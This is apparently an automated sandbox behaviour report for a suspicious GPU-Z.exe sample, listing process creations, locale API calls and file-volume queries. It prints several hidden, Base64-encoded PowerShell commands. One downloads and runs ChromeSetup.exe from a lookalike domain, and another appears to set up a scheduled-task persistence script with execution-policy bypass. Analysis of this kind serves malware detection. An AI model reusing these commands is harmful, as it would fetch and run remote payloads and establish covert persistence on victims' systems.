Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcABzADoALwAvAGMAaAByAG8AbQBlAC0AYgByAG8AdwBzAGUAcgAtAGQAbwB3AG4AbABvAGEAZAAuAGMAbwBtAC8AQwBoAHIAbwBtAGUAUwBlAHQAdQBwAC4AZQB4AGUAIgAgAC0ATwB1AHQARgBpAGwAZQAgACIAJABlAG4AdgA6AFQARQBNAFAAXABDAGgAcgBvAG0AZQBTAGUAdAB1AHAALgBlAHgAZQAiADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAIgAkAGUAbgB2ADoAVABFAE0AUABcAEMAaAByAG8AbQBlAFMAZQB0AHUAcAAuAGUAeABlACIA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe "C:\Users\user\AppData\Local\Temp\ChromeSetup.exe"
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe --crash-handler --system "--database=C:\Program Files (x86)\Google\GoogleUpdater\132.0.6833.0\Crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=Update4 --annotation=ver=132.0.6833.0 "--attachment=C:\Program Files (x86)\Google\GoogleUpdater\updater.log" --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xbc9488,0xbc9494,0xbc94a0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc jaboacaapqagacgarwblahqalqbeageadablackalgboag8adqbyadsaiaakag0aiaa9acaakabhaguadaataeqayqb0aguakqauaeeazabkae0aaqbuahuadablahmakaayackalgbtagkabgb1ahqazqa7acaajabuahiaaqbnagcazqbyacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbuahiaaqbnagcazqbyacaalqbpag4aywblacaalqbbahqaiaaiacqaaabgadoajabtaciaowagacqaqqbjahqaaqbvag4aiaa9acaatgblahcalqbtagmaaablagqadqbsaguazabuageacwbraeeaywb0agkabwbuacaalqbfahgazqbjahuadablacaaigbjag0azaaiacaalqbbahiazwb1ag0azqbuahqaiaaiac8aywagahaabwb3aguacgbzaggazqbsagwaiaatahcaaqbuacaamqagac0abgbvag4aaqagac0azqbwacaaygb5ahaayqbzahmaiaatagyaaqbsaguaiaakaguabgb2adoavqbtaeuaugbqafiatwbgaekatabfafwaqqbwahaarabhahqayqbcaewabwbjageababcae0azqbkagkayqbtahqabwbyageazwblafwadqbwagqayqb0agualgbwahmamqaiadsaiaakafaacgbpag4aywbpahaayqbsacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbqahiaaqbuagmaaqbwageabaagac0avqbzaguacgbjagqaiaakaeuabgb2adoavqbzaguacgboageabqbladsaiabsaguazwbpahmadablahialqbtagmaaablagqadqbsaguazabuageacwbracaalqbuageacwbrae4ayqbtaguaiaaiae0azqbkagkayqbvahaazabhahqazqaiacaalqbuahiaaqbnagcazqbyacaajabuahiaaqbnagcazqbyacaalqbbagmadabpag8abgagacqaqqbjahqaaqbvag4aiaatafaacgbpag4aywbpahaayqbsacaajabqahiaaqbuagmaaqbwageabaa=
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc jaboacaapqagacgarwblahqalqbeageadablackalgboag8adqbyadsaiaakag0aiaa9acaakabhaguadaataeqayqb0aguakqauaeeazabkae0aaqbuahuadablahmakaayackalgbtagkabgb1ahqazqa7acaajabuahiaaqbnagcazqbyacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbuahiaaqbnagcazqbyacaalqbpag4aywblacaalqbbahqaiaaiacqaaabgadoajabtaciaowagacqaqqbjahqaaqbvag4aiaa9acaatgblahcalqbtagmaaablagqadqbsaguazabuageacwbraeeaywb0agkabwbuacaalqbfahgazqbjahuadablacaaigbjag0azaaiacaalqbbahiazwb1ag0azqbuahqaiaaiac8aywagahaabwb3aguacgbzaggazqbsagwaiaatahcaaqbuacaamqagac0abgbvag4aaqagac0azqbwacaaygb5ahaayqbzahmaiaatagyaaqbsaguaiaakaguabgb2adoavqbtaeuaugbqafiatwbgaekatabfafwaqqbwahaarabhahqayqbcaewabwbjageababcae0azqbkagkayqbtahqabwbyageazwblafwadqbwagqayqb0agualgbwahmamqaiadsaiaakafaacgbpag4aywbpahaayqbsacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbqahiaaqbuagmaaqbwageabaagac0avqbzaguacgbjagqaiaakaeuabgb2adoavqbzaguacgboageabqbladsaiabsaguazwbpahmadablahialqbtagmaaablagqadqbsaguazabuageacwbracaalqbuageacwbrae4ayqbtaguaiaaiae0azqbkagkayqbvahaazabhahqazqaiacaalqbuahiaaqbnagcazqbyacaajabuahiaaqbnagcazqbyacaalqbbagmadabpag8abgagacqaqqbjahqaaqbvag4aiaatafaacgbpag4aywbpahaayqbsacaajabqahiaaqbuagmaaqbwageabaa=
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc sqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagaciaaab0ahqacabzadoalwavagmaaabyag8abqblac0aygbyag8adwbzaguacgatagqabwb3ag4ababvageazaauagmabwbtac8aqwboahiabwbtaguauwblahqadqbwac4azqb4aguaigagac0atwb1ahqargbpagwazqagaciajablag4adga6afqarqbnafaaxabdaggacgbvag0azqbtaguadab1ahaalgblahgazqaiadsaiabtahqayqbyahqalqbqahiabwbjaguacwbzacaaigakaguabgb2adoavabfae0auabcaemaaabyag8abqblafmazqb0ahuacaauaguaeablacia
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc sqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagaciaaab0ahqacabzadoalwavagmaaabyag8abqblac0aygbyag8adwbzaguacgatagqabwb3ag4ababvageazaauagmabwbtac8aqwboahiabwbtaguauwblahqadqbwac4azqb4aguaigagac0atwb1ahqargbpagwazqagaciajablag4adga6afqarqbnafaaxabdaggacgbvag0azqbtaguadab1ahaalgblahgazqaiadsaiabtahqayqbyahqalqbqahiabwbjaguacwbzacaaigakaguabgb2adoavabfae0auabcaemaaabyag8abqblafmazqb0ahuacaauaguaeablacia
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe "c:\windows\systemtemp\google4304_299551820\bin\updater.exe" --install=appguid={8a69d345-d564-463c-aff1-a69d9e530f96}&iid={8e7848ea-f143-48b2-373c-33f54b7527d1}&lang=en-gb&browser=3&usagestats=1&appname=google%20chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=/components/winhttp/=1,/components/update_client/=2,/chrome/enterprise_companion/=2,/chrome/updater/=2
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe c:\windows\systemtemp\google4304_299551820\bin\updater.exe --crash-handler --system "--database=c:\program files (x86)\google\googleupdater\132.0.6833.0\crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=update4 --annotation=ver=132.0.6833.0 "--attachment=c:\program files (x86)\google\googleupdater\updater.log" --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xbc9488,0xbc9494,0xbc94a0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc jaboacaapqagacgarwblahqalqbeageadablackalgboag8adqbyadsaiaakag0aiaa9acaakabhaguadaataeqayqb0aguakqauaeeazabkae0aaqbuahuadablahmakaayackalgbtagkabgb1ahqazqa7acaajabuahiaaqbnagcazqbyacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbuahiaaqbnagcazqbyacaalqbpag4aywblacaalqbbahqaiaaiacqaaabgadoajabtaciaowagacqaqqbjahqaaqbvag4aiaa9acaatgblahcalqbtagmaaablagqadqbsaguazabuageacwbraeeaywb0agkabwbuacaalqbfahgazqbjahuadablacaaigbjag0azaaiacaalqbbahiazwb1ag0azqbuahqaiaaiac8aywagahaabwb3aguacgbzaggazqbsagwaiaatahcaaqbuacaamqagac0abgbvag4aaqagac0azqbwacaaygb5ahaayqbzahmaiaatagyaaqbsaguaiaakaguabgb2adoavqbtaeuaugbqafiatwbgaekatabfafwaqqbwahaarabhahqayqbcaewabwbjageababcae0azqbkagkayqbtahqabwbyageazwblafwadqbwagqayqb0agualgbwahmamqaiadsaiaakafaacgbpag4aywbpahaayqbsacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbqahiaaqbuagmaaqbwageabaagac0avqbzaguacgbjagqaiaakaeuabgb2adoavqbzaguacgboageabqbladsaiabsaguazwbpahmadablahialqbtagmaaablagqadqbsaguazabuageacwbracaalqbuageacwbrae4ayqbtaguaiaaiae0azqbkagkayqbvahaazabhahqazqaiacaalqbuahiaaqbnagcazqbyacaajabuahiaaqbnagcazqbyacaalqbbagmadabpag8abgagacqaqqbjahqaaqbvag4aiaatafaacgbpag4aywbpahaayqbsacaajabqahiaaqbuagmaaqbwageabaa=	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c powershell -win 1 -noni -enc sqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagaciaaab0ahqacabzadoalwavagmaaabyag8abqblac0aygbyag8adwbzaguacgatagqabwb3ag4ababvageazaauagmabwbtac8aqwboahiabwbtaguauwblahqadqbwac4azqb4aguaigagac0atwb1ahqargbpagwazqagaciajablag4adga6afqarqbnafaaxabdaggacgbvag0azqbtaguadab1ahaalgblahgazqaiadsaiabtahqayqbyahqalqbqahiabwbjaguacwbzacaaigakaguabgb2adoavabfae0auabcaemaaabyag8abqblafmazqb0ahuacaauaguaeablacia	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc jaboacaapqagacgarwblahqalqbeageadablackalgboag8adqbyadsaiaakag0aiaa9acaakabhaguadaataeqayqb0aguakqauaeeazabkae0aaqbuahuadablahmakaayackalgbtagkabgb1ahqazqa7acaajabuahiaaqbnagcazqbyacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbuahiaaqbnagcazqbyacaalqbpag4aywblacaalqbbahqaiaaiacqaaabgadoajabtaciaowagacqaqqbjahqaaqbvag4aiaa9acaatgblahcalqbtagmaaablagqadqbsaguazabuageacwbraeeaywb0agkabwbuacaalqbfahgazqbjahuadablacaaigbjag0azaaiacaalqbbahiazwb1ag0azqbuahqaiaaiac8aywagahaabwb3aguacgbzaggazqbsagwaiaatahcaaqbuacaamqagac0abgbvag4aaqagac0azqbwacaaygb5ahaayqbzahmaiaatagyaaqbsaguaiaakaguabgb2adoavqbtaeuaugbqafiatwbgaekatabfafwaqqbwahaarabhahqayqbcaewabwbjageababcae0azqbkagkayqbtahqabwbyageazwblafwadqbwagqayqb0agualgbwahmamqaiadsaiaakafaacgbpag4aywbpahaayqbsacaapqagae4azqb3ac0auwbjaggazqbkahuabablagqavabhahmaawbqahiaaqbuagmaaqbwageabaagac0avqbzaguacgbjagqaiaakaeuabgb2adoavqbzaguacgboageabqbladsaiabsaguazwbpahmadablahialqbtagmaaablagqadqbsaguazabuageacwbracaalqbuageacwbrae4ayqbtaguaiaaiae0azqbkagkayqbvahaazabhahqazqaiacaalqbuahiaaqbnagcazqbyacaajabuahiaaqbnagcazqbyacaalqbbagmadabpag8abgagacqaqqbjahqaaqbvag4aiaatafaacgbpag4aywbpahaayqbsacaajabqahiaaqbuagmaaqbwageabaa=	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -win 1 -noni -enc sqbuahyabwbragualqbxaguaygbsaguacqb1aguacwb0acaalqbvahiaaqagaciaaab0ahqacabzadoalwavagmaaabyag8abqblac0aygbyag8adwbzaguacgatagqabwb3ag4ababvageazaauagmabwbtac8aqwboahiabwbtaguauwblahqadqbwac4azqb4aguaigagac0atwb1ahqargbpagwazqagaciajablag4adga6afqarqbnafaaxabdaggacgbvag0azqbtaguadab1ahaalgblahgazqaiadsaiabtahqayqbyahqalqbqahiabwbjaguacwbzacaaigakaguabgb2adoavabfae0auabcaemaaabyag8abqblafmazqb0ahuacaauaguaeablacia
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe "c:\windows\systemtemp\google4304_299551820\bin\updater.exe" --install=appguid={8a69d345-d564-463c-aff1-a69d9e530f96}&iid={8e7848ea-f143-48b2-373c-33f54b7527d1}&lang=en-gb&browser=3&usagestats=1&appname=google%20chrome&needsadmin=prefers&ap=x64-statsdef_1&installdataindex=empty --enable-logging --vmodule=/components/winhttp/=1,/components/update_client/=2,/chrome/enterprise_companion/=2,/chrome/updater/=2
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Process created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe c:\windows\systemtemp\google4304_299551820\bin\updater.exe --crash-handler --system "--database=c:\program files (x86)\google\googleupdater\132.0.6833.0\crashpad" --url=https://clients2.google.com/cr/report --annotation=prod=update4 --annotation=ver=132.0.6833.0 "--attachment=c:\program files (x86)\google\googleupdater\updater.log" --initial-client-data=0x278,0x27c,0x280,0x254,0x284,0xbc9488,0xbc9494,0xbc94a0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Code function: 6_2_00424533 cpuid

6_2_00424533

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: EnumSystemLocalesW,	18_2_011061D3
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: EnumSystemLocalesW,	18_2_011021FD
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: EnumSystemLocalesW,	18_2_01106315
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: GetLocaleInfoW,	18_2_01106360
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: GetLocaleInfoW,	18_2_01106240
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: GetLocaleInfoW,	18_2_0110650D
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	18_2_01106407
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: GetLocaleInfoW,	18_2_01101C7C
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	18_2_01105C87
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	18_2_01105F80
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: EnumSystemLocalesW,	18_2_01105ED8
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	19_2_00970A03
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	19_2_0096CA2D
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	19_2_00970A70
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	19_2_00970B90
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	19_2_00970B45
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	19_2_009704B7
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	19_2_0096C4AC
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	19_2_00970C37
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	19_2_00970D3D
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	19_2_009707B0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	19_2_00970708
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	20_2_00970A03
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	20_2_0096CA2D
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	20_2_00970A70
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	20_2_00970B90
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	20_2_00970B45
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	20_2_009704B7
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	20_2_0096C4AC
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	20_2_00970C37
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,	20_2_00970D3D
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	20_2_009707B0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: EnumSystemLocalesW,	20_2_00970708

Source: C:\Users\user\Desktop\GPU-Z.exe	Queries volume information: C:\Users\user\Desktop\GPU-Z.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\GPU-Z.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.Management.Infrastructure.Native\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.Native.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
